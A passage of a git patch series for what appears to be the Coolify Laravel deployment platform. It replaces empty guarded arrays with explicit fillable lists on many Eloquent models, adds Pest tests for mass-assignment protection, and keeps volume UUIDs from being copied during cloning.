OpenApi\Attributes as OA; use Spatie\Activitylog\Models\Activity; use Spatie\Url\Url; +use Symfony\Component\Yaml\Yaml; use Visus\Cuid2\Cuid2; #[OA\Schema( @@ -47,7 +48,21 @@ class Service extends BaseModel private static $parserVersion = '5'; - protected $guarded = []; + protected $fillable = [ + 'name', + 'description', + 'docker_compose_raw', + 'docker_compose', + 'connect_to_docker_network', + 'service_type', + 'config_hash', + 'compose_parsing_version', + 'environment_id', + 'server_id', + 'destination_id', + 'destination_type', + 'is_container_label_escape_enabled', + ]; protected $appends = ['server_status', 'status']; @@ -1552,7 +1567,7 @@ public function saveComposeConfigs() // Generate SERVICE_NAME_* environment variables from docker-compose services if ($this->docker_compose) { try { - $dockerCompose = \Symfony\Component\Yaml\Yaml::parse($this->docker_compose); + $dockerCompose = Yaml::parse($this->docker_compose); $services = data_get($dockerCompose, 'services', []); foreach ($services as $serviceName => $_) { $envs->push('SERVICE_NAME_'.str($serviceName)->replace('-', '_')->replace('.', '_')->upper().'='.$serviceName); diff --git a/app/Models/ServiceApplication.php b/app/Models/ServiceApplication.php index 4bf78085e..e608c202d 100644 --- a/app/Models/ServiceApplication.php +++ b/app/Models/ServiceApplication.php @@ -5,12 +5,30 @@ use Illuminate\Database\Eloquent\Casts\Attribute; use Illuminate\Database\Eloquent\Factories\HasFactory; use Illuminate\Database\Eloquent\SoftDeletes; +use Symfony\Component\Yaml\Yaml; class ServiceApplication extends BaseModel { use HasFactory, SoftDeletes; - protected $guarded = []; + protected $fillable = [ + 'name', + 'human_name', + 'description', + 'fqdn', + 'ports', + 'exposes', + 'status', + 'exclude_from_status', + 'required_fqdn', + 'image', + 'is_log_drain_enabled', + 'is_include_timestamps', + 'is_gzip_enabled', + 'is_stripprefix_enabled', + 'last_online_at', + 'is_migrated', + ]; protected static function booted() { @@ -211,7 +229,7 @@ public function getRequiredPort(): ?int return $this->service->getRequiredPort(); } - $dockerCompose = \Symfony\Component\Yaml\Yaml::parse($dockerComposeRaw); + $dockerCompose = Yaml::parse($dockerComposeRaw); $serviceConfig = data_get($dockerCompose, "services.{$this->name}"); if (! $serviceConfig) { return $this->service->getRequiredPort(); diff --git a/app/Models/ServiceDatabase.php b/app/Models/ServiceDatabase.php index c6a0143a8..e5b28d929 100644 --- a/app/Models/ServiceDatabase.php +++ b/app/Models/ServiceDatabase.php @@ -9,7 +9,27 @@ class ServiceDatabase extends BaseModel { use HasFactory, SoftDeletes; - protected $guarded = []; + protected $fillable = [ + 'name', + 'human_name', + 'description', + 'fqdn', + 'ports', + 'exposes', + 'status', + 'exclude_from_status', + 'image', + 'public_port', + 'is_public', + 'is_log_drain_enabled', + 'is_include_timestamps', + 'is_gzip_enabled', + 'is_stripprefix_enabled', + 'last_online_at', + 'is_migrated', + 'custom_type', + 'public_port_timeout', + ]; protected $casts = [ 'public_port_timeout' => 'integer', diff --git a/app/Models/SharedEnvironmentVariable.php b/app/Models/SharedEnvironmentVariable.php index 9bd42c328..158140b12 100644 --- a/app/Models/SharedEnvironmentVariable.php +++ b/app/Models/SharedEnvironmentVariable.php @@ -22,6 +22,9 @@ class SharedEnvironmentVariable extends Model 'is_multiline', 'is_literal', 'is_shown_once', + + // Metadata + 'version', ]; protected $casts = [ diff --git a/app/Models/SlackNotificationSettings.php b/app/Models/SlackNotificationSettings.php index 128b25221..d4f125fb5 100644 --- a/app/Models/SlackNotificationSettings.php +++ b/app/Models/SlackNotificationSettings.php @@ -24,7 +24,8 @@ class SlackNotificationSettings extends Model 'backup_failure_slack_notifications', 'scheduled_task_success_slack_notifications', 'scheduled_task_failure_slack_notifications', - 'docker_cleanup_slack_notifications', + 'docker_cleanup_success_slack_notifications', + 'docker_cleanup_failure_slack_notifications', 'server_disk_usage_slack_notifications', 'server_reachable_slack_notifications', 'server_unreachable_slack_notifications', diff --git a/app/Models/StandaloneClickhouse.php b/app/Models/StandaloneClickhouse.php index 143aadb6a..05f5853e3 100644 --- a/app/Models/StandaloneClickhouse.php +++ b/app/Models/StandaloneClickhouse.php @@ -13,7 +13,34 @@ class StandaloneClickhouse extends BaseModel { use ClearsGlobalSearchCache, HasFactory, HasMetrics, HasSafeStringAttribute, SoftDeletes; - protected $guarded = []; + protected $fillable = [ + 'name', + 'description', + 'clickhouse_admin_user', + 'clickhouse_admin_password', + 'is_log_drain_enabled', + 'is_include_timestamps', + 'status', + 'image', + 'is_public', + 'public_port', + 'ports_mappings', + 'limits_memory', + 'limits_memory_swap', + 'limits_memory_swappiness', + 'limits_memory_reservation', + 'limits_cpus', + 'limits_cpuset', + 'limits_cpu_shares', + 'started_at', + 'restart_count', + 'last_restart_at', + 'last_restart_type', + 'last_online_at', + 'public_port_timeout', + 'custom_docker_run_options', + 'clickhouse_db', + ]; protected $appends = ['internal_db_url', 'external_db_url', 'database_type', 'server_status']; diff --git a/app/Models/StandaloneDocker.php b/app/Models/StandaloneDocker.php index abd6e168f..09dae022b 100644 --- a/app/Models/StandaloneDocker.php +++ b/app/Models/StandaloneDocker.php @@ -12,7 +12,10 @@ class StandaloneDocker extends BaseModel use HasFactory; use HasSafeStringAttribute; - protected $guarded = []; + protected $fillable = [ + 'name', + 'network', + ]; protected static function boot() { diff --git a/app/Models/StandaloneDragonfly.php b/app/Models/StandaloneDragonfly.php index c823c305b..af309f980 100644 --- a/app/Models/StandaloneDragonfly.php +++ b/app/Models/StandaloneDragonfly.php @@ -13,7 +13,33 @@ class StandaloneDragonfly extends BaseModel { use ClearsGlobalSearchCache, HasFactory, HasMetrics, HasSafeStringAttribute, SoftDeletes; - protected $guarded = []; + protected $fillable = [ + 'name', + 'description', + 'dragonfly_password', + 'is_log_drain_enabled', + 'is_include_timestamps', + 'status', + 'image', + 'is_public', + 'public_port', + 'ports_mappings', + 'limits_memory', + 'limits_memory_swap', + 'limits_memory_swappiness', + 'limits_memory_reservation', + 'limits_cpus', + 'limits_cpuset', + 'limits_cpu_shares', + 'started_at', + 'restart_count', + 'last_restart_at', + 'last_restart_type', + 'last_online_at', + 'public_port_timeout', + 'enable_ssl', + 'custom_docker_run_options', + ]; protected $appends = ['internal_db_url', 'external_db_url', 'database_type', 'server_status']; diff --git a/app/Models/StandaloneKeydb.php b/app/Models/StandaloneKeydb.php index f286e8538..ee07b4783 100644 --- a/app/Models/StandaloneKeydb.php +++ b/app/Models/StandaloneKeydb.php @@ -13,7 +13,34 @@ class StandaloneKeydb extends BaseModel { use ClearsGlobalSearchCache, HasFactory, HasMetrics, HasSafeStringAttribute, SoftDeletes; - protected $guarded = []; + protected $fillable = [ + 'name', + 'description', + 'keydb_password', + 'keydb_conf', + 'is_log_drain_enabled', + 'is_include_timestamps', + 'status', + 'image', + 'is_public', + 'public_port', + 'ports_mappings', + 'limits_memory', + 'limits_memory_swap', + 'limits_memory_swappiness', + 'limits_memory_reservation', + 'limits_cpus', + 'limits_cpuset', + 'limits_cpu_shares', + 'started_at', + 'restart_count', + 'last_restart_at', + 'last_restart_type', + 'last_online_at', + 'public_port_timeout', + 'enable_ssl', + 'custom_docker_run_options', + ]; protected $appends = ['internal_db_url', 'external_db_url', 'server_status']; diff --git a/app/Models/StandaloneMariadb.php b/app/Models/StandaloneMariadb.php index efa62353c..ad5220496 100644 --- a/app/Models/StandaloneMariadb.php +++ b/app/Models/StandaloneMariadb.php @@ -14,7 +14,36 @@ class StandaloneMariadb extends BaseModel { use ClearsGlobalSearchCache, HasFactory, HasMetrics, HasSafeStringAttribute, SoftDeletes; - protected $guarded = []; + protected $fillable = [ + 'name', + 'description', + 'mariadb_root_password', + 'mariadb_user', + 'mariadb_password', + 'mariadb_database', + 'mariadb_conf', + 'status', + 'image', + 'is_public', + 'public_port', + 'ports_mappings', + 'limits_memory', + 'limits_memory_swap', + 'limits_memory_swappiness', + 'limits_memory_reservation', + 'limits_cpus', + 'limits_cpuset', + 'limits_cpu_shares', + 'started_at', + 'restart_count', + 'last_restart_at', + 'last_restart_type', + 'last_online_at', + 'public_port_timeout', + 'enable_ssl', + 'is_log_drain_enabled', + 'custom_docker_run_options', + ]; protected $appends = ['internal_db_url', 'external_db_url', 'database_type', 'server_status']; diff --git a/app/Models/StandaloneMongodb.php b/app/Models/StandaloneMongodb.php index 9418ebc21..590c173e1 100644 --- a/app/Models/StandaloneMongodb.php +++ b/app/Models/StandaloneMongodb.php @@ -13,7 +13,37 @@ class StandaloneMongodb extends BaseModel { use ClearsGlobalSearchCache, HasFactory, HasMetrics, HasSafeStringAttribute, SoftDeletes; - protected $guarded = []; + protected $fillable = [ + 'name', + 'description', + 'mongo_conf', + 'mongo_initdb_root_username', + 'mongo_initdb_root_password', + 'mongo_initdb_database', + 'status', + 'image', + 'is_public', + 'public_port', + 'ports_mappings', + 'limits_memory', + 'limits_memory_swap', + 'limits_memory_swappiness', + 'limits_memory_reservation', + 'limits_cpus', + 'limits_cpuset', + 'limits_cpu_shares', + 'started_at', + 'restart_count', + 'last_restart_at', + 'last_restart_type', + 'last_online_at', + 'public_port_timeout', + 'enable_ssl', + 'ssl_mode', + 'is_log_drain_enabled', + 'is_include_timestamps', + 'custom_docker_run_options', + ]; protected $appends = ['internal_db_url', 'external_db_url', 'database_type', 'server_status']; diff --git a/app/Models/StandaloneMysql.php b/app/Models/StandaloneMysql.php index 2b7e9f2b6..d991617b7 100644 --- a/app/Models/StandaloneMysql.php +++ b/app/Models/StandaloneMysql.php @@ -13,7 +13,38 @@ class StandaloneMysql extends BaseModel { use ClearsGlobalSearchCache, HasFactory, HasMetrics, HasSafeStringAttribute, SoftDeletes; - protected $guarded = []; + protected $fillable = [ + 'name', + 'description', + 'mysql_root_password', + 'mysql_user', + 'mysql_password', + 'mysql_database', + 'mysql_conf', + 'status', + 'image', + 'is_public', + 'public_port', + 'ports_mappings', + 'limits_memory', + 'limits_memory_swap', + 'limits_memory_swappiness', + 'limits_memory_reservation', + 'limits_cpus', + 'limits_cpuset', + 'limits_cpu_shares', + 'started_at', + 'restart_count', + 'last_restart_at', + 'last_restart_type', + 'last_online_at', + 'public_port_timeout', + 'enable_ssl', + 'ssl_mode', + 'is_log_drain_enabled', + 'is_include_timestamps', + 'custom_docker_run_options', + ]; protected $appends = ['internal_db_url', 'external_db_url', 'database_type', 'server_status']; diff --git a/app/Models/StandalonePostgresql.php b/app/Models/StandalonePostgresql.php index cea600236..71034427f 100644 --- a/app/Models/StandalonePostgresql.php +++ b/app/Models/StandalonePostgresql.php @@ -13,7 +13,40 @@ class StandalonePostgresql extends BaseModel { use ClearsGlobalSearchCache, HasFactory, HasMetrics, HasSafeStringAttribute, SoftDeletes; - protected $guarded = []; + protected $fillable = [ + 'name', + 'description', + 'postgres_user', + 'postgres_password', + 'postgres_db', + 'postgres_initdb_args', + 'postgres_host_auth_method', + 'postgres_conf', + 'init_scripts', + 'status', + 'image', + 'is_public', + 'public_port', + 'ports_mappings', + 'limits_memory', + 'limits_memory_swap', + 'limits_memory_swappiness', + 'limits_memory_reservation', + 'limits_cpus', + 'limits_cpuset', + 'limits_cpu_shares', + 'started_at', + 'restart_count', + 'last_restart_at', + 'last_restart_type', + 'last_online_at', + 'public_port_timeout', + 'enable_ssl', + 'ssl_mode', + 'is_log_drain_enabled', + 'is_include_timestamps', + 'custom_docker_run_options', + ]; protected $appends = ['internal_db_url', 'external_db_url', 'database_type', 'server_status']; diff --git a/app/Models/StandaloneRedis.php b/app/Models/StandaloneRedis.php index 0e904ab31..4eb28e038 100644 --- a/app/Models/StandaloneRedis.php +++ b/app/Models/StandaloneRedis.php @@ -13,7 +13,33 @@ class StandaloneRedis extends BaseModel { use ClearsGlobalSearchCache, HasFactory, HasMetrics, HasSafeStringAttribute, SoftDeletes; - protected $guarded = []; + protected $fillable = [ + 'name', + 'description', + 'redis_conf', + 'status', + 'image', + 'is_public', + 'public_port', + 'ports_mappings', + 'limits_memory', + 'limits_memory_swap', + 'limits_memory_swappiness', + 'limits_memory_reservation', + 'limits_cpus', + 'limits_cpuset', + 'limits_cpu_shares', + 'started_at', + 'restart_count', + 'last_restart_at', + 'last_restart_type', + 'last_online_at', + 'public_port_timeout', + 'enable_ssl', + 'is_log_drain_enabled', + 'is_include_timestamps', + 'custom_docker_run_options', + ]; protected $appends = ['internal_db_url', 'external_db_url', 'database_type', 'server_status']; diff --git a/app/Models/Subscription.php b/app/Models/Subscription.php index 69d7cbf0d..fa135b29f 100644 --- a/app/Models/Subscription.php +++ b/app/Models/Subscription.php @@ -6,7 +6,18 @@ class Subscription extends Model { - protected $guarded = []; + protected $fillable = [ + 'stripe_invoice_paid', + 'stripe_subscription_id', + 'stripe_customer_id', + 'stripe_cancel_at_period_end', + 'stripe_plan_id', + 'stripe_feedback', + 'stripe_comment', + 'stripe_trial_already_ended', + 'stripe_past_due', + 'stripe_refunded_at', + ]; protected function casts(): array { diff --git a/app/Models/SwarmDocker.php b/app/Models/SwarmDocker.php index 3144432c5..656749119 100644 --- a/app/Models/SwarmDocker.php +++ b/app/Models/SwarmDocker.php @@ -6,7 +6,10 @@ class SwarmDocker extends BaseModel { - protected $guarded = []; + protected $fillable = [ + 'name', + 'network', + ]; public function setNetworkAttribute(string $value): void { diff --git a/app/Models/Tag.php b/app/Models/Tag.php index 3594d1072..9ee58cf7d 100644 --- a/app/Models/Tag.php +++ b/app/Models/Tag.php @@ -8,7 +8,9 @@ class Tag extends BaseModel { use HasSafeStringAttribute; - protected $guarded = []; + protected $fillable = [ + 'name', + ]; protected function customizeName($value) { diff --git a/app/Models/Team.php b/app/Models/Team.php index 5a7b377b6..300280b99 100644 --- a/app/Models/Team.php +++ b/app/Models/Team.php @@ -40,7 +40,12 @@ class Team extends Model implements SendsDiscord, SendsEmail, SendsPushover, Sen { use HasFactory, HasNotificationSettings, HasSafeStringAttribute, Notifiable; - protected $guarded = []; + protected $fillable = [ + 'name', + 'description', + 'show_boarding', + 'custom_server_limit', + ]; protected $casts = [ 'personal_team' => 'boolean', diff --git a/app/Models/TelegramNotificationSettings.php b/app/Models/TelegramNotificationSettings.php index 73889910e..4930f45d4 100644 --- a/app/Models/TelegramNotificationSettings.php +++ b/app/Models/TelegramNotificationSettings.php @@ -25,7 +25,8 @@ class TelegramNotificationSettings extends Model 'backup_failure_telegram_notifications', 'scheduled_task_success_telegram_notifications', 'scheduled_task_failure_telegram_notifications', - 'docker_cleanup_telegram_notifications', + 'docker_cleanup_success_telegram_notifications', + 'docker_cleanup_failure_telegram_notifications', 'server_disk_usage_telegram_notifications', 'server_reachable_telegram_notifications', 'server_unreachable_telegram_notifications', @@ -39,7 +40,8 @@ class TelegramNotificationSettings extends Model 'telegram_notifications_backup_failure_thread_id', 'telegram_notifications_scheduled_task_success_thread_id', 'telegram_notifications_scheduled_task_failure_thread_id', - 'telegram_notifications_docker_cleanup_thread_id', + 'telegram_notifications_docker_cleanup_success_thread_id', + 'telegram_notifications_docker_cleanup_failure_thread_id', 'telegram_notifications_server_disk_usage_thread_id', 'telegram_notifications_server_reachable_thread_id', 'telegram_notifications_server_unreachable_thread_id', diff --git a/app/Models/User.php b/app/Models/User.php index 7c68657e7..8ef5426a8 100644 --- a/app/Models/User.php +++ b/app/Models/User.php @@ -4,7 +4,9 @@ use App\Jobs\UpdateStripeCustomerEmailJob; use App\Notifications\Channels\SendsEmail; +use App\Notifications\TransactionalEmails\EmailChangeVerification; use App\Notifications\TransactionalEmails\ResetPassword as TransactionalEmailsResetPassword; +use App\Services\ChangelogService; use App\Traits\DeletesUserSessions; use DateTimeInterface; use Illuminate\Database\Eloquent\Factories\HasFactory; @@ -41,7 +43,16 @@ class User extends Authenticatable implements SendsEmail { use DeletesUserSessions, HasApiTokens, HasFactory, Notifiable, TwoFactorAuthenticatable; - protected $guarded = []; + protected $fillable = [ + 'name', + 'email', + 'password', + 'force_password_reset', + 'marketing_emails', + 'pending_email', + 'email_change_code', + 'email_change_code_expires_at', + ]; protected $hidden = [ 'password', @@ -228,7 +239,7 @@ public function changelogReads() public function getUnreadChangelogCount(): int { - return app(\App\Services\ChangelogService::class)->getUnreadCountForUser($this); + return app(ChangelogService::class)->getUnreadCountForUser($this); } public function getRecipients(): array @@ -239,7 +250,7 @@ public function getRecipients(): array public function sendVerificationEmail() { $mail = new MailMessage; - $url = Url::temporarySignedRoute( + $url = URL::temporarySignedRoute( 'verify.verify', Carbon::now()->addMinutes(Config::get('auth.verification.expire', 60)), [ @@ -408,7 +419,7 @@ public function requestEmailChange(string $newEmail): void ]); // Send verification email to new address - $this->notify(new \App\Notifications\TransactionalEmails\EmailChangeVerification($this, $code, $newEmail, $expiresAt)); + $this->notify(new EmailChangeVerification($this, $code, $newEmail, $expiresAt)); } public function isEmailChangeCodeValid(string $code): bool diff --git a/bootstrap/helpers/applications.php b/bootstrap/helpers/applications.php index c522cd0ca..fbcedf277 100644 --- a/bootstrap/helpers/applications.php +++ b/bootstrap/helpers/applications.php @@ -6,6 +6,7 @@ use App\Jobs\VolumeCloneJob; use App\Models\Application; use App\Models\ApplicationDeploymentQueue; +use App\Models\EnvironmentVariable; use App\Models\Server; use App\Models\StandaloneDocker; use Spatie\Url\Url; @@ -192,7 +193,7 @@ function clone_application(Application $source, $destination, array $overrides = $server = $destination->server; if ($server->team_id !== currentTeam()->id) { - throw new \RuntimeException('Destination does not belong to the current team.'); + throw new RuntimeException('Destination does not belong to the current team.'); } // Prepare name and URL @@ -211,7 +212,7 @@ function clone_application(Application $source, $destination, array $overrides = 'updated_at', 'additional_servers_count', 'additional_networks_count', - ])->fill(array_merge([ + ])->forceFill(array_merge([ 'uuid' => $uuid, 'name' => $name, 'fqdn' => $url, @@ -322,8 +323,8 @@ function clone_application(Application $source, $destination, array $overrides = destination: $source->destination, no_questions_asked: true ); - } catch (\Exception $e) { - \Log::error('Failed to copy volume data for '.$volume->name.': '.$e->getMessage()); + } catch (Exception $e) { + Log::error('Failed to copy volume data for '.$volume->name.': '.$e->getMessage()); } } } @@ -344,7 +345,7 @@ function clone_application(Application $source, $destination, array $overrides = // Clone production environment variables without triggering the created hook $environmentVariables = $source->environment_variables()->get(); foreach ($environmentVariables as $environmentVariable) { - \App\Models\EnvironmentVariable::withoutEvents(function () use ($environmentVariable, $newApplication) { + EnvironmentVariable::withoutEvents(function () use ($environmentVariable, $newApplication) { $newEnvironmentVariable = $environmentVariable->replicate([ 'id', 'created_at', @@ -361,7 +362,7 @@ function clone_application(Application $source, $destination, array $overrides = // Clone preview environment variables $previewEnvironmentVariables = $source->environment_variables_preview()->get(); foreach ($previewEnvironmentVariables as $previewEnvironmentVariable) { - \App\Models\EnvironmentVariable::withoutEvents(function () use ($previewEnvironmentVariable, $newApplication) { + EnvironmentVariable::withoutEvents(function () use ($previewEnvironmentVariable, $newApplication) { $newPreviewEnvironmentVariable = $previewEnvironmentVariable->replicate([ 'id', 'created_at', diff --git a/tests/Feature/MassAssignmentProtectionTest.php b/tests/Feature/MassAssignmentProtectionTest.php new file mode 100644 index 000000000..7a5f97a4e --- /dev/null +++ b/tests/Feature/MassAssignmentProtectionTest.php @@ -0,0 +1,249 @@ +getGuarded(); + $fillable = $model->getFillable(); + + // Model must NOT have $guarded = [] (empty guard = no protection) + // It should either have non-empty $guarded OR non-empty $fillable + $hasProtection = $guarded !== ['*'] ? count($guarded) > 0 : true; + $hasProtection = $hasProtection || count($fillable) > 0; + + expect($hasProtection) + ->toBeTrue("Model {$modelClass} has no mass assignment protection (empty \$guarded and empty \$fillable)"); + } + }); + + test('Application model blocks mass assignment of identity fields', function () { + $application = new Application; + + expect($application->isFillable('id'))->toBeFalse('id should not be fillable'); + expect($application->isFillable('uuid'))->toBeFalse('uuid should not be fillable'); + expect($application->isFillable('created_at'))->toBeFalse('created_at should not be fillable'); + expect($application->isFillable('updated_at'))->toBeFalse('updated_at should not be fillable'); + expect($application->isFillable('deleted_at'))->toBeFalse('deleted_at should not be fillable'); + }); + + test('Application model allows mass assignment of user-facing fields', function () { + $application = new Application; + $userFields = ['name', 'description', 'git_repository', 'git_branch', 'build_pack', 'install_command', 'build_command', 'start_command', 'ports_exposes', 'health_check_path', 'health_check_enabled', 'limits_memory', 'status']; + + foreach ($userFields as $field) { + expect($application->isFillable($field)) + ->toBeTrue("Application model should allow mass assignment of '{$field}'"); + } + }); + + test('Application model allows mass assignment of relationship fields needed for create()', function () { + $application = new Application; + $relationFields = ['environment_id', 'destination_id', 'destination_type', 'source_id', 'source_type', 'private_key_id', 'repository_project_id']; + + foreach ($relationFields as $field) { + expect($application->isFillable($field)) + ->toBeTrue("Application model should allow mass assignment of '{$field}' for internal create() calls"); + } + }); + + test('Application fill ignores non-fillable fields', function () { + $application = new Application; + $application->fill([ + 'name' => 'test-app', + 'team_id' => 999, + ]); + + expect($application->name)->toBe('test-app'); + expect($application->team_id)->toBeNull(); + }); + + test('Server model has $fillable and no conflicting $guarded', function () { + $server = new Server; + $fillable = $server->getFillable(); + $guarded = $server->getGuarded(); + + expect($fillable)->not->toBeEmpty('Server model should have explicit $fillable'); + expect($guarded)->not->toBe([], 'Server model should not have $guarded = [] overriding $fillable'); + }); + + test('Server model blocks mass assignment of dangerous fields', function () { + $server = new Server; + + expect($server->isFillable('id'))->toBeFalse(); + expect($server->isFillable('uuid'))->toBeFalse(); + expect($server->isFillable('created_at'))->toBeFalse(); + }); + + test('User model blocks mass assignment of auth-sensitive fields', function () { + $user = new User; + + expect($user->isFillable('id'))->toBeFalse('User id should not be fillable'); + expect($user->isFillable('email_verified_at'))->toBeFalse('email_verified_at should not be fillable'); + expect($user->isFillable('remember_token'))->toBeFalse('remember_token should not be fillable'); + expect($user->isFillable('two_factor_secret'))->toBeFalse('two_factor_secret should not be fillable'); + expect($user->isFillable('two_factor_recovery_codes'))->toBeFalse('two_factor_recovery_codes should not be fillable'); + }); + + test('User model allows mass assignment of profile fields', function () { + $user = new User; + + expect($user->isFillable('name'))->toBeTrue(); + expect($user->isFillable('email'))->toBeTrue(); + expect($user->isFillable('password'))->toBeTrue(); + }); + + test('Team model blocks mass assignment of internal fields', function () { + $team = new Team; + + expect($team->isFillable('id'))->toBeFalse(); + expect($team->isFillable('personal_team'))->toBeFalse('personal_team should not be fillable'); + }); + + test('Service model blocks mass assignment of identity fields', function () { + $service = new Service; + + expect($service->isFillable('id'))->toBeFalse(); + expect($service->isFillable('uuid'))->toBeFalse(); + }); + + test('Service model allows mass assignment of relationship fields needed for create()', function () { + $service = new Service; + + expect($service->isFillable('environment_id'))->toBeTrue(); + expect($service->isFillable('destination_id'))->toBeTrue(); + expect($service->isFillable('destination_type'))->toBeTrue(); + expect($service->isFillable('server_id'))->toBeTrue(); + }); + + test('standalone database models block mass assignment of identity and relationship fields', function () { + $models = [ + StandalonePostgresql::class, + StandaloneRedis::class, + StandaloneMysql::class, + StandaloneMariadb::class, + StandaloneMongodb::class, + StandaloneKeydb::class, + StandaloneDragonfly::class, + StandaloneClickhouse::class, + ]; + + foreach ($models as $modelClass) { + $model = new $modelClass; + + expect($model->isFillable('id')) + ->toBeFalse("{$modelClass} should not allow mass assignment of 'id'"); + expect($model->isFillable('uuid')) + ->toBeFalse("{$modelClass} should not allow mass assignment of 'uuid'"); + expect($model->isFillable('environment_id')) + ->toBeFalse("{$modelClass} should not allow mass assignment of 'environment_id'"); + expect($model->isFillable('destination_id')) + ->toBeFalse("{$modelClass} should not allow mass assignment of 'destination_id'"); + expect($model->isFillable('destination_type')) + ->toBeFalse("{$modelClass} should not allow mass assignment of 'destination_type'"); + } + }); + + test('standalone database models allow mass assignment of config fields', function () { + $model = new StandalonePostgresql; + expect($model->isFillable('name'))->toBeTrue(); + expect($model->isFillable('postgres_user'))->toBeTrue(); + expect($model->isFillable('postgres_password'))->toBeTrue(); + expect($model->isFillable('image'))->toBeTrue(); + expect($model->isFillable('limits_memory'))->toBeTrue(); + + $model = new StandaloneRedis; + expect($model->isFillable('redis_conf'))->toBeTrue(); + + $model = new StandaloneMysql; + expect($model->isFillable('mysql_root_password'))->toBeTrue(); + + $model = new StandaloneMongodb; + expect($model->isFillable('mongo_initdb_root_username'))->toBeTrue(); + }); + + test('standalone database models allow mass assignment of public_port_timeout', function () { + $models = [ + StandalonePostgresql::class, + StandaloneRedis::class, + StandaloneMysql::class, + StandaloneMariadb::class, + StandaloneMongodb::class, + StandaloneKeydb::class, + StandaloneDragonfly::class, + StandaloneClickhouse::class, + ]; + + foreach ($models as $modelClass) { + $model = new $modelClass; + expect($model->isFillable('public_port_timeout')) + ->toBeTrue("{$modelClass} should allow mass assignment of 'public_port_timeout'"); + } + }); + + test('standalone database models allow mass assignment of SSL fields where applicable', function () { + // Models with enable_ssl + $sslModels = [ + StandalonePostgresql::class, + StandaloneMysql::class, + StandaloneMariadb::class, + StandaloneMongodb::class, + StandaloneRedis::class, + StandaloneKeydb::class, + StandaloneDragonfly::class, + ]; + + foreach ($sslModels as $modelClass) { + $model = new $modelClass; + expect($model->isFillable('enable_ssl')) + ->toBeTrue("{$modelClass} should allow mass assignment of 'enable_ssl'"); + } + + // Clickhouse has no SSL columns + expect((new StandaloneClickhouse)->isFillable('enable_ssl'))->toBeFalse(); + + // Models with ssl_mode + $sslModeModels = [ + StandalonePostgresql::class, + StandaloneMysql::class, + StandaloneMongodb::class, + ]; + + foreach ($sslModeModels as $modelClass) { + $model = new $modelClass; + expect($model->isFillable('ssl_mode')) + ->toBeTrue("{$modelClass} should allow mass assignment of 'ssl_mode'"); + } + }); +}); From 4ec9b7ef69d16231f80d021e5b712f665e8f60ef Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Mon, 30 Mar 2026 00:06:45 +0200 Subject: [PATCH 80/95] fix(clone): include uuid field when cloning persistent volumes Ensure that the uuid field is preserved during clone operations for persistent volumes across all clone methods (CloneMe, ResourceOperations, and the clone_application helper). This prevents UUID conflicts and ensures cloned volumes receive new unique identifiers as intended. Adds test coverage validating that cloned persistent volumes receive new UUIDs distinct from the original volumes. --- app/Livewire/Project/CloneMe.php | 3 + .../Project/Shared/ResourceOperations.php | 3 + bootstrap/helpers/applications.php | 1 + .../Feature/ClonePersistentVolumeUuidTest.php | 84 +++++++++++++++++++ 4 files changed, 91 insertions(+) create mode 100644 tests/Feature/ClonePersistentVolumeUuidTest.php diff --git a/app/Livewire/Project/CloneMe.php b/app/Livewire/Project/CloneMe.php index 013e66901..e236124e9 100644 --- a/app/Livewire/Project/CloneMe.php +++ b/app/Livewire/Project/CloneMe.php @@ -187,6 +187,7 @@ public function clone(string $type) 'id', 'created_at', 'updated_at', + 'uuid', ])->forceFill([ 'name' => $newName, 'resource_id' => $newDatabase->id, @@ -315,6 +316,7 @@ public function clone(string $type) 'id', 'created_at', 'updated_at', + 'uuid', ])->forceFill([ 'name' => $newName, 'resource_id' => $application->id, @@ -369,6 +371,7 @@ public function clone(string $type) 'id', 'created_at', 'updated_at', + 'uuid', ])->forceFill([ 'name' => $newName, 'resource_id' => $database->id, diff --git a/app/Livewire/Project/Shared/ResourceOperations.php b/app/Livewire/Project/Shared/ResourceOperations.php index a26b43026..301c51be9 100644 --- a/app/Livewire/Project/Shared/ResourceOperations.php +++ b/app/Livewire/Project/Shared/ResourceOperations.php @@ -142,6 +142,7 @@ public function cloneTo($destination_id) 'id', 'created_at', 'updated_at', + 'uuid', ])->forceFill([ 'name' => $newName, 'resource_id' => $new_resource->id, @@ -280,6 +281,7 @@ public function cloneTo($destination_id) 'id', 'created_at', 'updated_at', + 'uuid', ])->forceFill([ 'name' => $newName, 'resource_id' => $application->id, @@ -322,6 +324,7 @@ public function cloneTo($destination_id) 'id', 'created_at', 'updated_at', + 'uuid', ])->forceFill([ 'name' => $newName, 'resource_id' => $database->id, diff --git a/bootstrap/helpers/applications.php b/bootstrap/helpers/applications.php index fbcedf277..4af6ac90a 100644 --- a/bootstrap/helpers/applications.php +++ b/bootstrap/helpers/applications.php @@ -300,6 +300,7 @@ function clone_application(Application $source, $destination, array $overrides = 'id', 'created_at', 'updated_at', + 'uuid', ])->fill([ 'name' => $newName, 'resource_id' => $newApplication->id, diff --git a/tests/Feature/ClonePersistentVolumeUuidTest.php b/tests/Feature/ClonePersistentVolumeUuidTest.php new file mode 100644 index 000000000..f1ae8dd26 --- /dev/null +++ b/tests/Feature/ClonePersistentVolumeUuidTest.php @@ -0,0 +1,84 @@ +user = User::factory()->create(); + $this->team = Team::factory()->create(); + $this->user->teams()->attach($this->team, ['role' => 'owner']); + + $this->server = Server::factory()->create(['team_id' => $this->team->id]); + $this->destination = StandaloneDocker::factory()->create(['server_id' => $this->server->id]); + $this->project = Project::factory()->create(['team_id' => $this->team->id]); + $this->environment = Environment::factory()->create(['project_id' => $this->project->id]); + + $this->application = Application::factory()->create([ + 'environment_id' => $this->environment->id, + 'destination_id' => $this->destination->id, + 'destination_type' => $this->destination->getMorphClass(), + ]); + + $this->actingAs($this->user); + session(['currentTeam' => $this->team]); +}); + +test('cloning application generates new uuid for persistent volumes', function () { + $volume = LocalPersistentVolume::create([ + 'name' => $this->application->uuid.'-data', + 'mount_path' => '/data', + 'resource_id' => $this->application->id, + 'resource_type' => $this->application->getMorphClass(), + ]); + + $originalUuid = $volume->uuid; + + $newApp = clone_application($this->application, $this->destination, [ + 'environment_id' => $this->environment->id, + ]); + + $clonedVolume = $newApp->persistentStorages()->first(); + + expect($clonedVolume)->not->toBeNull(); + expect($clonedVolume->uuid)->not->toBe($originalUuid); + expect($clonedVolume->mount_path)->toBe('/data'); +}); + +test('cloning application with multiple persistent volumes generates unique uuids', function () { + $volume1 = LocalPersistentVolume::create([ + 'name' => $this->application->uuid.'-data', + 'mount_path' => '/data', + 'resource_id' => $this->application->id, + 'resource_type' => $this->application->getMorphClass(), + ]); + + $volume2 = 